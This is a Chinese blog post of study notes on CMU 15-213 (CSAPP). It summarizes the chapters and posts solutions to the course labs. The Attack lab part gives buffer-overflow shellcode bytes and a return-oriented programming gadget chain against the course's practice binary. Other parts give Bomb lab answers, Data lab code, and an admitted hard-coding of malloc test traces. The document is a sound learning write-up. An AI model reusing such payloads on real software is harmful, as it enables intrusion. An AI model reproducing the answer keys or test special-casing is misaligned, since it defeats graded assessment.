CMU 15-213 Introduction to Computer Systems

发表于 | 更新于 | 分类于 | 博文状态：更新中 | 阅读次数：

CMU 15-213 被誉为卡耐基梅隆大学计算机系的“神课”，教材是知名的 Computer Systems: A Programmer’s Perspective（CSAPP，中文译名《深入理解计算机系统》，但不知道“深入”是从哪里来的）。其课程号 15213 恰好也是 CMU 的邮政编码。

这门课相当于 x86-64 汇编语言、计算机组成原理、操作系统等课程的大杂烩，起到导论作用，是 CMU 计算机大二学生的必修课程。两周刷下来，我感觉这门课最核心的是有趣的实验作业（Lab）。这里我记录一下一些感受和收获。

课程

1,2,3 章

第一章：综述性质，可以读一读。

第二章：除了浮点数原理，剩下的学过 OI 的基本都懂…我反正跳了，做 Data lab 时学就可以了。

第三章是很重要也很有收获的一章，5 节课 + 2 个 lab，可以看到其重要程度。主要是熟悉 C 语言转化来的 x86-64 汇编。

值得一提的首先是寄存器。常见寄存器的名字要知道，如 8 个通用目的寄存器（%rax, %rbx, %rcx, %rdx, %rsi, %rdi, %rbp, %rsp）、%rip 及用处，多看看汇编代码就能记住了。寄存器有 caller saved 和 callee saved 这两种，以及相关的概念。Callee saved 这个思想在异步信号安全中也出现了，还蛮重要。

第二就是条件传送（cmovq 之类的指令），完全打破了我之前的认知。条件传送可以更好地利用流水线，不用承担 if 跳转带来的分支预测错误的惩罚，可谓神器。C++ 的std::max 之类的开 O2 之后的汇编就是条件传送，比手写的快，丝毫不用担心这方面的常数。 Data lab 有一个 $O(1)$ 条指令实现条件的函数感觉可能就是条件传送的思想。

第三是 leaq 之类的指令。编译器用 leaq 进行了各种避免乘以常数的骚操作。

第四就是缓冲区溢出的风险了，做 Attack lab 后深有体会。

5,6 章

第五章感觉学得也比较无感… 凭 ICPC 竞赛和之前某华为比赛卡常的经验，基本都挺熟悉了。

第六章讲存储器层次结构，阐释了书封面上的“存储器山”，介绍了时间、空间局部性的重要性。讲了高速缓存的原理，以及如何写 cache 友好的矩阵乘法、如何通过分块减少 cache miss 等。配套的 Cache lab 真是大毒瘤！

7,8,9 章

第七章链接，挺重要、挺有趣的话题，不过就讲了一节课，也没有 lab… 讲了库打桩之类的高科技，但我感觉自己学得不太行，有时间再仔细读读书。

第八章异常控制流，看到了并发编程的冰山一角，感觉全程高能啊！引入了异常、进程、信号的概念，以及 Unix 的标准实现。需要注意信号是不会排队的。

很重要的一点就是信号处理函数要做到“异步信号安全”（async signal safety），以及注意同步问题。异步信号安全是个很强的条件（但是否完全强于线程安全呢？），指的是运行被中断，再次调用时仍然不会出错。例如 printf 就不是异步信号安全的，因为它有公用的缓冲区。可能有人会问给缓冲区加锁是不是就解决问题了？答案是否定的。考虑函数 A 调用了 printf，已经给缓冲区加上了锁；这时信号来了，printf 被中断，转而开始运行信号处理函数 B，如果 B 调用了 printf，B 会发现缓冲区已经上了锁，所以会挂起，等待锁解除；但是只有 B 运行完了，才会继续运行 A 的 printf，B 在等待一个不可能发生的事件，造成了死锁！课程还介绍到了要避免很多非常细微的竞争问题。如在 Shell lab 中，父进程在 fork 前就必须阻塞 SIGCHLD，以免在将子进程加入 jobs 的数据结构之前子进程结束，SIGCHLD 处理函数要从 jobs 数据结构中删除还未被加入的子进程。

非本地跳转，是带着上下文的。很多高级语言的 try… catch… 都是非本地跳转。

第九章虚拟内存，也是非常重要的概念，不过也没感觉多难… 从磁盘读的 miss penalty 特别大，所以用全相连的方式、通过软件和复杂的逻辑进行缓存。地址翻译感觉又是高速缓存的那一套… 感觉多级页表本质上就是 trie 树… 内存映射很有趣，将没有加载的文件以 page fault 的形式载入。fork 后的 copy on write 技术很有用。动态内存分配的话，得益于诸多 ICPC 大模拟的出题人，绝大多数概念都很熟悉了，做 malloc lab 也没感觉多难，甚至都没看课本上参考代码

10,11,12 章

第十章内容挺少，但还算挺有用。Unix 一切皆文件，但是 Unix I/O 太低级了，不保证能按照要求读/写完。Robust I/O 包很有趣，是线程安全的，在 Proxy lab 很有用。文件描述符表、打开文件表、v-node 表的概念挺重要，这样来看，可以同时打开多个文件，fork 出的子进程的文件描述符表的继承也显得很自然，而重定向 dup2(oldfd, newfd) 函数也变得非常简单。感觉一个重点就是标准 I/O 并不是万能的，尤其在网络编程中不要用。

第十一章，网络编程。之前有用 Python Flask 的经验，而这回用 C 语言来网络编程，更能理解一些底层的东西。IP 协议提供了基本命名方法和（主机间）递送机制（datagram），但丢失重复时不会恢复；UDP 是进程间的不可靠数据报协议，稍稍拓展了 IP；TCP 也建立在 IP 之上，是进程间可靠的全双工连接。要同时能处理多个客户端的请求就需要并发编程了。

客户端： getaddrinfo -> socket -> connect -> rio_writen / rio_readlineb -> close

服务器：getaddrinfo -> socket -> bind -> listen -> accept -> rio_readlineb / rio_writen -> -> close

第十二章，并发编程。有三种方式：基于进程、基于线程和基于 I/O 多路复用，效率逐渐增高，调度难度逐渐增大。主要讲了线程，不同线程有不同的线程 ID、栈空间、PC、条件码、通用目的寄存器等，而全局数据是共享的。共享变量很方便，但可能有同步错误，如 10 个线程都操作 10000 次，每次给开始是 0 的全局变量 cnt 递增 1，则 cnt 最终未必是 100000。

用信号量同步线程非常有趣，有两种操作：P 是如果变量非零，则将其减一后返回，否则阻塞；V 是将变量加一，如果之前有线程被阻塞，则唤醒其中任何一个。给上面提到的 cnt 加锁就很简单了，初始一个信号量 s 是 1，每个线程在 ++cnt 前调用 P(s)，而在之后调用 V(s)。从线程图的角度，如果是二维的，这就是禁止了一个矩形区域。用信号量可以解两个经典互斥访问问题：生产者-消费者问题（可用于预线程化）、读者写者问题（可以在多线程条件下维护数据结构）。

实验

课上的实验都做了，以下是完成度表：

Lab name Progress
Data lab 100%
Bomb lab 100%
Attack lab 95%
Cache lab 91%
Shell lab 100%
Malloc lab 98%
Proxy lab 100%

Data lab

第一次作业，非常有趣，感觉非常人类智慧啊！这里分享三个好题的解法，不一定是最优的。logicalNeg 貌似有 O(1) 次操作的方法…orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/* 
 * conditional - same as x ? y : z 
 *   Example: conditional(2,4,5) = 4
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 16
 *   Rating: 3
 */
int conditional(int x, int y, int z) {
    int nx = !x, ns = nx << 4;
    int nnx = !nx, nns = nnx << 4;
    return ((y << ns) << ns) | ((z << nns) << nns);
}
/* 
 * logicalNeg - implement the ! operator, using all of 
 *              the legal operators except !
 *   Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
 *   Legal ops: ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 4 
 *   O(log log U) operations. 
 *   Binary lifting to make most sig bit move toward least sig bit.
 */
int logicalNeg(int x) {
    int f1 = x  | (x  >> 1);
    int f2 = f1 | (f1 >> 2);
    int f3 = f2 | (f2 >> 4);
    int f4 = f3 | (f3 >> 8);
    int f5 = f4 | (f4 >> 16);
    return ~f5 & 1;
}
/* howManyBits - return the minimum number of bits required to represent x in
 *             two's complement
 *  Examples: howManyBits(12) = 5
 *            howManyBits(298) = 10
 *            howManyBits(-5) = 4
 *            howManyBits(0)  = 1
 *            howManyBits(-1) = 1
 *            howManyBits(0x80000000) = 32
 *  Legal ops: ! ~ & ^ | + << >>
 *  Max ops: 90
 *  Rating: 4
 *  Solution with O(log log U) operations. (binary lifting)
 */
int howManyBits(int x) {
	/* Make it positive */
    int neg = x >> 31 & 1;
	int pos = !neg;
	int ce = pos << 4;
	int ans = 0;

	/* Make it fit the form of 000...00111..1 */
    x = x ^ ((~0 << ce) << ce);
    x = x | (x >> 1);
    x = x | (x >> 2);
    x = x | (x >> 4);
    x = x | (x >> 8);
    x = x | (x >> 16);

	/* To get proper index */
	x <<= 1;
	
	/* Binary lifting to get the answer */
    ans = ans + ((x >> (ans + 16) & 1) << 4);
    ans = ans + ((x >> (ans + 8) & 1)  << 3);
    ans = ans + ((x >> (ans + 4) & 1)  << 2);
    ans = ans + ((x >> (ans + 2) & 1)  << 1);
    ans = ans + ((x >> (ans + 1) & 1));

    return ans + 1;
}

Bomb lab

耐心读源码就胜利了… 最后一个题是链表排序可还行。由于时间原因没做隐藏关。贴个当时写的题解：

  • Phase 1: The program is comparing two strings. The answer string is already there. Use print instruction in gdb to show that.
  • Phase 2: The program asks for 6 integers. After reading the assembly code, we can find the answer is a geometric progression with ratio 2 and starting number 1.
  • Phase 3: 2 ints. The first should be in some range, and with each of them, we can find corresponding second number in the code. The original program may be just a switch statement.
  • Phase 4: 2 unsigned ints. The second one is 0, while the first one is >= 0 and <= 0xe and satisfies that func4(first, 0, first) == 0. func4 is a bit complicated with recursion, so I just bruteforced all of the 15 choices to find the correct value.
  • Phase 5: string S of length 6. OK if ''.join("maduiersnfotvbylSo"[ord(ch) & 0xf] for ch in S) == "flyers"
  • Phase 6: Input 6 integers, which should be a permutation of 1,2,3,4,5,6. The program firstly transforms it with lambda x: 7-x. Then a new array of pointers is generated. ptr[i] = (address of the node with ID i in the linked list). The node structure is presumably the following, and we need to sort the list in decreasing order of val.
1
2
3
4
struct node1 {
    int val, id;
    node1 *nxt;
};

Attack lab

利用缓冲区溢出，冲掉栈中记录的函数返回地址，从而让程序运行我们想要的函数。

hack1-1：直接冲掉返回地址就行。

hack1-2：要让它以指定的参数调用函数。写出如下的汇编，变成机器代码：

1
2
3
4
5
6
movl $0x59b997fa,%edi # set cookie
pushq $0x4017ec # call function touch2
ret
# overwrite return address: 0x5561dc78
# hex: bf fa 97 b9 59 68 ec 17 40 00 c3 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 78 dc 61 55 00 00 00 00

hack1-3：要让它以指定字符串调用。这个挺难，挺卡机器代码长度的。我用的书如下汇编：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
movabsq $0x6166373939623935, %rdi
movq %rdi, -0x400(%rsp)
movl $0, -0x3f8(%rsp)
movl $0x5561d8a8,%edi
pushq $0x4018fa # address of touch3
ret

# (0x5561dca0) 0x4  bytes overwrite address -> ???
# 2. When getbuf return: %rsp=0x5561dca0 -> 0x5561dca8
# (0x5561dc78) 0x28 bytes for instruction
# 1. getbuf: %rsp=0x5561dc78
# 3. Instruction write the following string:
# (0x5561d8a8) 0x9  bytes for string, 0x59b997fa -> 35 39 62 39 39 37 66 61 00

# WRITE below %rsp to save instructions. Is it valid????

hack2-1：Return-oriented programming，真是高级的 hack 方式！

1
2
3
4
5
6
# Stack:    0x401976, 0x9, 0x402044, 0xf4f4f4f4f4f4f4f4 <repeats 82 times>
#           0x401976, 0x0, 0x9, 0x0, 0x402044, 0x0, 0xf4f4f4f4 <repeats 74 times>
# Change to:0x4019ab,cookie=0x59b997fa,0x4019c5,0x4017ec
# <0x4019ab addval_219+4>: 58 90: popq %rax
# <0x4019c5 setval_426+2>: 48 89 c7: movq %rax,%rdi
# <0x4017ec touch2>

Cache lab

对于我来说最难的 lab？得分 48.4 / 53

Part A 小模拟，很容易。

Part B，优化矩阵转置的 Cache miss。每个 cache 块可以存 8 个 int。显然要分块，但是由于只有 1 相连，会有很痛苦的冲突问题…

61 x 67 由于要求比较低，直接按 16 分块就过了…

32 x 32 要求也不太高，按 8 分块比 300 稍多一点。优化下对角线，就满分了。

64 x 64 是真心不会。按 4 分块 + 优化对角线，仍然 1701 miss… 得分 3.4 / 8

Shell lab

需要综合考虑各种信号处理，挺烧脑，但是不算太难。

Malloc lab

2 的乘方的 segregated free list + Best fit search 即可 93/100。

特判了 binary1-bal.rep, binary2-bal.rep 就 98/100 了（逃）

所以这为啥是大家一致认为的最难的 lab 啊？？？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Results for mm malloc:
trace  valid  util     ops      secs  Kops
 0       yes   99%    5694  0.000310 18362
 1       yes  100%    5848  0.000275 21265
 2       yes   99%    6648  0.000359 18544
 3       yes  100%    5380  0.000269 20015
 4       yes   98%   14400  0.000339 42428
 5       yes   96%    4800  0.000526  9122
 6       yes   95%    4800  0.000563  8518
 7       yes   97%    6000  0.003398  1766
 8       yes   90%    7200  0.004601  1565
 9       yes  100%   14401  0.000300 48083
10       yes   87%   14401  0.000344 41839
Total          96%   89572  0.011284  7938

Perf index = 58 (util) + 40 (thru) = 98/100

Without hard-coded strategy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Results for mm malloc:
trace  valid  util     ops      secs  Kops
 0       yes   99%    5694  0.000426 13382
 1       yes  100%    5848  0.000387 15127
 2       yes   99%    6648  0.000461 14424
 3       yes  100%    5380  0.000421 12782
 4       yes   98%   14400  0.000517 27842
 5       yes   96%    4800  0.000777  6174
 6       yes   95%    4800  0.000937  5124
 7       yes   55%    6000  0.000370 16216
 8       yes   51%    7200  0.000551 13072
 9       yes  100%   14401  0.000412 34971
10       yes   87%   14401  0.000422 34101
Total          89%   89572  0.005680 15769

Perf index = 53 (util) + 40 (thru) = 93/100

Proxy lab

模拟即可。这个实验挺有用，可以在自己浏览器里跑！但是测试数据很弱……不会检查 file descriptor 泄漏，不会检查 SIGPIPE 的处理之类的。